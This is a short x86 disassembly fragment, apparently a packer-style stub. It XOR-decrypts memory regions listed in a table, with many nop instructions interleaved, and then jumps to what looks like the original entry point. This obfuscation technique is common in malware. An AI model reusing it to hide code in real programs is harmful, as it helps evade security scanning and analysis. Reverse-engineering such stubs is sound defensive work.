sub eax, 0x403e10
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43101e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219